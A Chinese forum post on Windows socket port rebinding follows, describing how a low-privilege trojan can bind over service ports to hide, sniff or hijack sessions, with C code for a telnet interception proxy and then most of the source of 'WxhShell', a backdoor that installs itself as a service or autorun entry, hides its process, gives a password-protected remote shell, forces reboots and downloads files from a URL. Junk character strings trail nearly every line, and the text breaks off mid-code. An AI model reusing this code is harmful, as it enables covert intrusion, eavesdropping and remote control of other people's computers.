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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |QMA@Mx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MBw-*K'?zB  
CPv iR<ms_  
  saddr.sin_family = AF_INET; cin2>3Z$  
|g-b8+.=]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e1/sqXWo  
n ~,t QV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m\vmY  
T3N"CUk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zO~9zlik  
>7b)y  
  这意味着什么?意味着可以进行如下的攻击: ZFvyL8o  
qX#MV>1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9+qOP>m   
>jx.R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3fr^ T  
8SC%O\,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "aq'R(/`c  
p&N#_dmlH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oyx^a9  
riCV&0"n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WE6\dhJ<  
}Ln@R~[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,gx)w^WTm  
3[IJhR[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #0"~G][#  
Gy"%R-j7  
  #include U BZ9A  
  #include Tum_aI  
  #include g|%L"-%gJ  
  #include    C#Bz >2;#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UiQEJXwnz  
  int main() nJZ6? V  
  { nFM@@oA  
  WORD wVersionRequested; Ne6}oQy(S`  
  DWORD ret; 60}! LmL  
  WSADATA wsaData; 9$1)k;ChP/  
  BOOL val; / T c=  
  SOCKADDR_IN saddr; |/`%3'4H  
  SOCKADDR_IN scaddr; ,EpH4*e  
  int err; aFj.i8+  
  SOCKET s; 4n0xE[-  
  SOCKET sc; /)>S<X  
  int caddsize; <l,o&p,>|c  
  HANDLE mt; u0o'K9.r  
  DWORD tid;   NwlU%{7W6  
  wVersionRequested = MAKEWORD( 2, 2 ); xJwG=$o  
  err = WSAStartup( wVersionRequested, &wsaData ); K'5'}Lb5k  
  if ( err != 0 ) { G64Fx*`  
  printf("error!WSAStartup failed!\n"); Ykqyk')wm  
  return -1; bzZ>lyH  
  } y$W|~ H   
  saddr.sin_family = AF_INET; V@vU"  
   )3A{GZj#6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y&.UIosWb  
{b)~V3rsY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )2e#HBnH  
  saddr.sin_port = htons(23); Vb|#MNf)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZC0-wr \  
  { g"_C,XN  
  printf("error!socket failed!\n"); `#mK*Buem}  
  return -1; FMw&(  
  } '0RwO[A#1  
  val = TRUE; G"SBYU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _D, ;MB&7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Iah[j,]r  
  { 0s#Kp49-  
  printf("error!setsockopt failed!\n"); 9N8I ip]w  
  return -1; M8&}j  
  } G$M9=@Ug  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'lz "2@4{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kOL'|GgK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RFaSwf,5n  
Cby;?F6w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B%s7bS  
  { s1N?/>lmB  
  ret=GetLastError(); t= #&fSR  
  printf("error!bind failed!\n"); 0&+k.Vg  
  return -1; 9xI GV!  
  } zYER  
  listen(s,2); hqvE!Of  
  while(1) _fk#<  
  { )cJ#-M2  
  caddsize = sizeof(scaddr); A^\.Z4=d"  
  //接受连接请求 `)iY}Iu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &[Xu!LP  
  if(sc!=INVALID_SOCKET) fV>CZ^=G  
  { k?B[>aQn.0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dihjpI_  
  if(mt==NULL) Uz7oL8  
  { %r\n%$@_  
  printf("Thread Creat Failed!\n"); 21X`h3+=  
  break; Dim> 7Wbh  
  } 4BL;FO  
  } #6v27:XK  
  CloseHandle(mt); 'dG%oDHX]P  
  } ]}="m2S3  
  closesocket(s); 2F{hg%  
  WSACleanup(); gV;H6"  
  return 0; e}Vw!w  
  }   B!]2Se2G  
  DWORD WINAPI ClientThread(LPVOID lpParam) XN=67f$Hw  
  { ,_.I\EY[  
  SOCKET ss = (SOCKET)lpParam; }Db[ 4  
  SOCKET sc; enS}A*Io  
  unsigned char buf[4096]; s8"8y`u  
  SOCKADDR_IN saddr; N?Q+ >  
  long num; yF}OfK?0f  
  DWORD val; #p(h]T32  
  DWORD ret; Fxs;Fp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;ea] $9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `:8J46or  
  saddr.sin_family = AF_INET; pIV-kI:w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); olB)p$aH#  
  saddr.sin_port = htons(23); f 3V Dv9(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z /KK)u(q  
  {  5^<h}u9  
  printf("error!socket failed!\n"); \uqjs+  
  return -1; !3n)|~r;K  
  } 5@IB39  
  val = 100; 1J=.N|(@Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w27KI]%(  
  { }U~6^2 .,  
  ret = GetLastError(); ?liK\C2Z<  
  return -1; lz#GbXn.  
  } r`y ezbG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u-D dq~;|  
  { hd\gH^wk  
  ret = GetLastError(); v,-{Z1N%m  
  return -1; G'2#9<c*  
  } _/8FRkx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U @ ?LP  
  { ;h6v@)#GX  
  printf("error!socket connect failed!\n"); {^mNJ  
  closesocket(sc); k(>h^  
  closesocket(ss); {e[%;W%c&  
  return -1; &X@Bs-  
  } sIG7S"k>p  
  while(1) <U5wB]]  
  { uzmk6G v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]wT 7*( Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F^"_TV0va  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `e9$,h|4  
  num = recv(ss,buf,4096,0); <~}7Mxn%x@  
  if(num>0) M#"524Nz  
  send(sc,buf,num,0); 4a0:2 kIKa  
  else if(num==0) 7Dzuii?1  
  break; !-2R;yo12  
  num = recv(sc,buf,4096,0); 0N[&3Ee8  
  if(num>0) d2oh/j6`TA  
  send(ss,buf,num,0); t"hYcnC  
  else if(num==0) }I|u'#n_  
  break; T{V/+RM  
  } 8`4<R6]LKB  
  closesocket(ss); M` q?Fk  
  closesocket(sc); PWh^[Rd)  
  return 0 ; 1c3TN#|)W  
  } >_rha~   
9I1tN  
8h3=b[  
========================================================== P 71(  
IdYzgDH  
下边附上一个代码,,WXhSHELL *Do/+[Ae  
ur :i)~wXn  
========================================================== +4[^!q* H  
s2?T5oWU  
#include "stdafx.h"  Q~R ~xz  
tQZs.1=z  
#include <stdio.h> &PkLp4mQ  
#include <string.h> Y2xL>F  
#include <windows.h> @L.82p{h  
#include <winsock2.h> Um1[sMc{au  
#include <winsvc.h> 1(|D'y#  
#include <urlmon.h> IG(?xf\C  
8N:owK  
#pragma comment (lib, "Ws2_32.lib") &_JD)mM5  
#pragma comment (lib, "urlmon.lib") Gl1jxxd  
o]nw0q?  
#define MAX_USER   100 // 最大客户端连接数 `cPywn@uGZ  
#define BUF_SOCK   200 // sock buffer REZJ}%}/  
#define KEY_BUFF   255 // 输入 buffer ?$f)&O  
uwRr LF  
#define REBOOT     0   // 重启 fLV"T_rk  
#define SHUTDOWN   1   // 关机 0ye!R   
4}`  
#define DEF_PORT   5000 // 监听端口 R'kyrEO  
(D@A74q\'  
#define REG_LEN     16   // 注册表键长度 d,8mY/S>w  
#define SVC_LEN     80   // NT服务名长度 ? uYu`Ojzr  
.(pN5JI*  
// 从dll定义API Q{k At%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  Z%I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;'81jbh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f|y:vpd%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J=pztASt  
V9ssH87#  
// wxhshell配置信息 lKEkXO  
struct WSCFG { ;7N Z<k  
  int ws_port;         // 监听端口 jV(6>BAI_  
  char ws_passstr[REG_LEN]; // 口令 C3G)'\yL  
  int ws_autoins;       // 安装标记, 1=yes 0=no >A0k 8T  
  char ws_regname[REG_LEN]; // 注册表键名 "NgoaG~!YO  
  char ws_svcname[REG_LEN]; // 服务名 PrudhUI^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rr#K"SP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vd=yr'?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -P&6L\V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Lm@vXgMD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "V&+7"Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9-]i.y  
w8g,a]p  
}; ^F:k3,_[  
DE2a5+^  
// default Wxhshell configuration jy]JiQ B  
struct WSCFG wscfg={DEF_PORT, `DT3x{}_S  
    "xuhuanlingzhe", FQ>`{%>  
    1, %,hV[[@.  
    "Wxhshell", aR,}W\6M  
    "Wxhshell", TYI7<-Mp:[  
            "WxhShell Service", !QDQ_  
    "Wrsky Windows CmdShell Service", # O4gg  
    "Please Input Your Password: ",  JHf  
  1, 1SrJ6W @j[  
  "http://www.wrsky.com/wxhshell.exe", 4%1D}9hO6  
  "Wxhshell.exe" rQ=,y>-*  
    }; U^qt6$bK  
'ejvH;V3i  
// 消息定义模块 "R8KQj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0flg=U9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ela-,(Glk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M-i_#EWP  
char *msg_ws_ext="\n\rExit."; - Ij&  
char *msg_ws_end="\n\rQuit."; rHP%0f 9:  
char *msg_ws_boot="\n\rReboot..."; O@?k T;B  
char *msg_ws_poff="\n\rShutdown..."; e@{i  
char *msg_ws_down="\n\rSave to "; 0oEOre3^%  
191&_*Xb  
char *msg_ws_err="\n\rErr!"; PQ@L+],C  
char *msg_ws_ok="\n\rOK!"; ORu2V# Z[  
-{`@=U  
char ExeFile[MAX_PATH]; w`l{LHrR  
int nUser = 0; &K/FyY5  
HANDLE handles[MAX_USER]; S$2b>#@UJ  
int OsIsNt; K(XN-D/c  
W+*5"h  
SERVICE_STATUS       serviceStatus; *m2=/Sh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *Z_C4Tj  
,t)x{I;C)  
// 函数声明 U35AX9/  
int Install(void); \;rYo.+  
int Uninstall(void); lC=~$c:  
int DownloadFile(char *sURL, SOCKET wsh); ;(}V"i7Hu  
int Boot(int flag); 5wUUx#  
void HideProc(void); ^<X@s1^#  
int GetOsVer(void); t<n"-Tqu  
int Wxhshell(SOCKET wsl); .(Qx{r$  
void TalkWithClient(void *cs); sl2@umR7%(  
int CmdShell(SOCKET sock); p">EHWc}D  
int StartFromService(void); P,sjo u^  
int StartWxhshell(LPSTR lpCmdLine); (|wz7 AY2  
R0oKbs{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~Y.tz`2D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -R{V-   
y1=N F  
// 数据结构和表定义 WoxwEi1~0  
SERVICE_TABLE_ENTRY DispatchTable[] = 0j C3fT!n  
{ 0-{t FN  
{wscfg.ws_svcname, NTServiceMain}, #M A4  
{NULL, NULL} #[#KL/i)$  
}; s|y:UgD  
b*ef);  
// 自我安装 GJqE!I,.  
int Install(void) %p X6QRt?  
{ gNGr!3*)w  
  char svExeFile[MAX_PATH]; Y'e eA 2O  
  HKEY key; \p%3vRwS%p  
  strcpy(svExeFile,ExeFile); sZ?mP;Q  
:a:l j  
// 如果是win9x系统,修改注册表设为自启动 #Wu*3&a]yU  
if(!OsIsNt) { k<+0o))  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S.!UPkWH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :$+-3_oLMQ  
  RegCloseKey(key); L],f3<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S(:l+JP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :rP#I#,7w  
  RegCloseKey(key); .CSS}4  
  return 0; Ngg?@pG0y  
    } K R"M/#  
  } ~H6r.:]  
} r]ShZBAbYp  
else { U.{l;EL:T  
6ksAc%|5  
// 如果是NT以上系统,安装为系统服务 P9T5L<5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Yw'oYnS  
if (schSCManager!=0) F]O$(7*  
{ Su 5>$  
  SC_HANDLE schService = CreateService lD{Aa!\  
  ( ?uMQP NYs  
  schSCManager, {D g_?._d  
  wscfg.ws_svcname,  &QNWL]  
  wscfg.ws_svcdisp, l1]p'Liuu  
  SERVICE_ALL_ACCESS,  s}onsC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dJ?XPo"Cm=  
  SERVICE_AUTO_START, y< C<_2  
  SERVICE_ERROR_NORMAL, L,; D@Xi  
  svExeFile, N N|u_  
  NULL, yPw'] "  
  NULL, 2YuN~-  
  NULL, %& _V0R\k  
  NULL, exdx\@72  
  NULL wM_c48|d  
  ); ,7XtH>2s  
  if (schService!=0) SR*wvQnOx  
  { ?|e'Gbb_  
  CloseServiceHandle(schService); >%E([:$A  
  CloseServiceHandle(schSCManager); m0{!hF[^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ) _ I,KEe  
  strcat(svExeFile,wscfg.ws_svcname); 5d@t7[]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ()sTb>L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JY!l!xH(6  
  RegCloseKey(key); 7=]i~7uy  
  return 0; , *qCf@$I  
    } +\Q?w?DE|  
  } m*X[ Jtr  
  CloseServiceHandle(schSCManager); 'B0{U4?   
} Jgu94.;5  
} -CH`>  
{YUIMd!Y  
return 1; [7m1Q<  
} ny-7P;->8  
4em;+ >D6  
// 自我卸载 r6'UUu  
int Uninstall(void) E2L(wt}^  
{ t:LcNlN|  
  HKEY key; VOsqJJ3  
fFjH "2WD  
if(!OsIsNt) { Il.Ed-&62  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /m _kn  
  RegDeleteValue(key,wscfg.ws_regname); j]0^y}5f+s  
  RegCloseKey(key); -G,^1AL>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .}')f;jH5<  
  RegDeleteValue(key,wscfg.ws_regname); !se0F.K  
  RegCloseKey(key); W0jZOP5_.$  
  return 0; [#YE^[*qK  
  } H&b3{yOa  
} )rLMIk  
} .yENM[-bQ  
else { G#Ou[*O'  
5BR5X\f0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _ .i3,-l)  
if (schSCManager!=0) U }Hwto`R  
{ x]5@>5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  g/UaYCjM  
  if (schService!=0) Y,8KPg@W  
  { P\CDd=yWc  
  if(DeleteService(schService)!=0) { 0tk#Gs[  
  CloseServiceHandle(schService); V Cy5JH  
  CloseServiceHandle(schSCManager); I &*_,d  
  return 0; YJxw 'U >P  
  } Ff^@~X+W<  
  CloseServiceHandle(schService); W\f9jfD  
  } (yo;NKq,@  
  CloseServiceHandle(schSCManager); dMx4ykrR  
} 4;`Bj:.  
} j\RpO'+}  
Pag63njg?  
return 1; a:YI"*S  
} !2:3MbtR  
iAMtejw  
// 从指定url下载文件 6{d6s#|%  
int DownloadFile(char *sURL, SOCKET wsh) U-wLt(Y<  
{ t)oapIeIe  
  HRESULT hr; "x'),  
char seps[]= "/"; B@Nt`ky0*  
char *token; h?\2 _s  
char *file; S~$'WA  
char myURL[MAX_PATH]; :PbDU$x  
char myFILE[MAX_PATH]; Vv$HR  
PZ8U6K'  
strcpy(myURL,sURL); nRhrWS  
  token=strtok(myURL,seps); q ^rl)  
  while(token!=NULL) k&hc m  
  { 2Ha5yaTL  
    file=token; +)nT|w45  
  token=strtok(NULL,seps); iV.p5FD  
  } .'[/|4H  
M^rM-{?<  
GetCurrentDirectory(MAX_PATH,myFILE); >95TvJ  
strcat(myFILE, "\\"); Hg}I]!B  
strcat(myFILE, file); RANPi\]  
  send(wsh,myFILE,strlen(myFILE),0); &Y@#g9G  
send(wsh,"...",3,0); yj@tV2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M4Z@O3OI E  
  if(hr==S_OK) !}3,B28  
return 0; P];JKE%  
else u%O-;>J  
return 1; ]Pn !nSg  
x2|6   
} P4 ul[zZ  
,gnQa  
// 系统电源模块 LE?u`i,e=+  
int Boot(int flag) !a1i Un9  
{ [_y@M ]  
  HANDLE hToken; ]6tkEyuq  
  TOKEN_PRIVILEGES tkp; t qOi x/  
Ccfwax+  
  if(OsIsNt) { ~!%0Z9>ap  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xSpC'"   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k7_I$ <YDj  
    tkp.PrivilegeCount = 1; Z#`0txCF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Oi:JiD=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cTZ)"^z!  
if(flag==REBOOT) { 9CUimZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #:3r4J%+~  
  return 0; %IpSK 0<Sp  
} <2  
else { zW{ 6Eg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;'RFo?u K  
  return 0; {g/wY%u=  
} dGH_ z8  
  } `!\ivIi^  
  else { 0/]_nd  
if(flag==REBOOT) { !>;w!^U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %|3e.1oX  
  return 0; }IUP5O6  
} EiV=RdL  
else { j.-VJo)   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rag iV6c  
  return 0; 2?i\@r@E|  
} ZcPUtun  
} m^!Sv?hV  
V*B0lI7`B  
return 1; 4".J/I5u  
} .PVLWW  
?)A2Kw>2  
// win9x进程隐藏模块 `]2@ _wa  
void HideProc(void) 3_qdJ<,  
{ 4E"d/  
='/Z;3jt]x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {V2bU}5 [  
  if ( hKernel != NULL ) !Cj(A"uqY  
  { }6~)bLzI}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KvFR8s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V> a*3D  
    FreeLibrary(hKernel); 5]"BRn1*  
  } XK3]AYH  
<GWR7rUH  
return; P!+v:'P5f  
} okBE|g  
uIP iM8(  
// 获取操作系统版本 =Q?f96T  
int GetOsVer(void) | 1V2tx  
{ X7cWgo66T  
  OSVERSIONINFO winfo; *8!w&ME+.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A|vP$zy  
  GetVersionEx(&winfo); _%IqjJO{=r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2:J,2=%  
  return 1; KVijs1q  
  else hYvNcOSks  
  return 0; BF|*"#s  
} 4: sl(r  
5g NLO\  
// 客户端句柄模块 `mErF%b  
int Wxhshell(SOCKET wsl) D3?N<9g  
{ Y$8; Gm<)  
  SOCKET wsh; N~g%wf@w  
  struct sockaddr_in client; ?:}Pa<D&K  
  DWORD myID; /_OOPt=G  
Zd<[=%d  
  while(nUser<MAX_USER) R#0{Wg0O)  
{ W(k:Pl#  
  int nSize=sizeof(client); k/#M<z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aW`dFitpM  
  if(wsh==INVALID_SOCKET) return 1; a>b8- j=J  
[-VGArD[k,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "|4jP za  
if(handles[nUser]==0) E/"SU*Co  
  closesocket(wsh); `` -k{C#F  
else vv h.@f  
  nUser++; IIP.yyh>  
  } 2Guvze_bU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *]!l%Uf%  
(UzPklkZ  
  return 0; S8*>kM'  
} [2H[5<tH  
,Oi^ySn  
// 关闭 socket .YiaXP  
void CloseIt(SOCKET wsh) 5+FLSk  
{ oWD)+5. ]  
closesocket(wsh); 7)PJ:4IqS  
nUser--; 1 ;Ju]  
ExitThread(0); @ KJV1t`  
} ?>)yKa#U  
/| f[us-w  
// 客户端请求句柄 lM&UFEl-\  
void TalkWithClient(void *cs) ?waebuj>  
{ ]^ !}*  
T&4fBMBp,%  
  SOCKET wsh=(SOCKET)cs; j)Lo'&Y~=  
  char pwd[SVC_LEN];  QT_^M1%  
  char cmd[KEY_BUFF]; )d_U)b7i  
char chr[1]; #01/(:7  
int i,j; WgZ@N  
".M:`BoW4  
  while (nUser < MAX_USER) { _Y7:!-n}   
x:C@)CAr  
if(wscfg.ws_passstr) { !OQuEJR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EOQaY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w 06gY  
  //ZeroMemory(pwd,KEY_BUFF); Fo LDMx(  
      i=0; '8={ sMy  
  while(i<SVC_LEN) { Fva]*5  
S| "TP\o  
  // 设置超时 PHl4 vh#E!  
  fd_set FdRead; uH] m]t  
  struct timeval TimeOut; XC}1_VWs  
  FD_ZERO(&FdRead); :3gFHBFDj  
  FD_SET(wsh,&FdRead); w< mqe0  
  TimeOut.tv_sec=8; VwC4QK,d;  
  TimeOut.tv_usec=0; fr]Hc+7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UhBz<>i;!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |DGCdB|`G  
5E.vje{U;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); No~ 6s.H  
  pwd=chr[0]; =ty2_6&>  
  if(chr[0]==0xd || chr[0]==0xa) { K]MzP|T,  
  pwd=0; Uk|9@Auav  
  break; I2W{t l  
  } :^.u-bHI  
  i++; b8e*Pv/  
    } 8ur_/h7  
r.Lx%LZ\^  
  // 如果是非法用户,关闭 socket sHF%=Vu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tB !|p6  
} gvK"*aIj  
^:U;rHY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g.=!3e&z%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6iyt2q kh  
| 4%v"U  
while(1) { >LCjtm\  
LsnXS9_  
  ZeroMemory(cmd,KEY_BUFF); zM)M_L  
I>!|3ElT  
      // 自动支持客户端 telnet标准   .$OjUlzr-H  
  j=0; 5 5a@)>h  
  while(j<KEY_BUFF) { + p'\(Z(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  @}Pw0vC  
  cmd[j]=chr[0]; s?HsUD$b  
  if(chr[0]==0xa || chr[0]==0xd) { r@;$V_I  
  cmd[j]=0; '2j~WUEmg  
  break; U <|B7t4M  
  } $*wu~  
  j++; Km%8Yw0+  
    } sAf9rZt*'  
z[%[bs2{  
  // 下载文件 :> x:(K  
  if(strstr(cmd,"http://")) { ^=3 ^HQ'Zm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T<_+3kw  
  if(DownloadFile(cmd,wsh)) 5'),)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p+!f(H  
  else +I?Qg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E:%>0FE  
  } P%ye$SASd  
  else { yM W'-\  
=:kiSrBS3t  
    switch(cmd[0]) { *:k~g].Iz  
  "ngSilH?D  
  // 帮助 Y{`3`Pg&N  
  case '?': { qNhH%tYQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ya;@<b  
    break; `AB~YX%(  
  } '! #On/  
  // 安装 L,tZh0  
  case 'i': { "Fo  
    if(Install()) rE9Ta8j6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Ydr[  
    else @<0h"i x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2J1B$.3'  
    break;  `NTM%# w  
    } Z^6A_:]j  
  // 卸载 f;&` 9s| 1  
  case 'r': { Au~+Zz|mQ  
    if(Uninstall()) A3m{jbh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q|?`Gsr  
    else 6hR^qdHg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '3IkPy1Uz  
    break; oD Q9.t  
    } Zjw!In|vC  
  // 显示 wxhshell 所在路径 02;f2;I  
  case 'p': { {(8U8f<'=y  
    char svExeFile[MAX_PATH]; x;<oaT$X  
    strcpy(svExeFile,"\n\r"); <|ka{=T  
      strcat(svExeFile,ExeFile); I3V{"Nx6  
        send(wsh,svExeFile,strlen(svExeFile),0); c8 H9_6  
    break; 2(@LRl>:  
    } nYmf(DV  
  // 重启 mrw]yu;2<n  
  case 'b': { 3Pw %[q=g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9;}L{yve  
    if(Boot(REBOOT)) "TEBByO'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W9:fKP  
    else { $K5ni{M;  
    closesocket(wsh); U&tfl/  
    ExitThread(0); yd\5Z[iEp  
    } Krt$=:m|1  
    break; f>.` xC{  
    } 7Y$4MMNQ  
  // 关机 UUt~W  
  case 'd': { ZJiuj!  
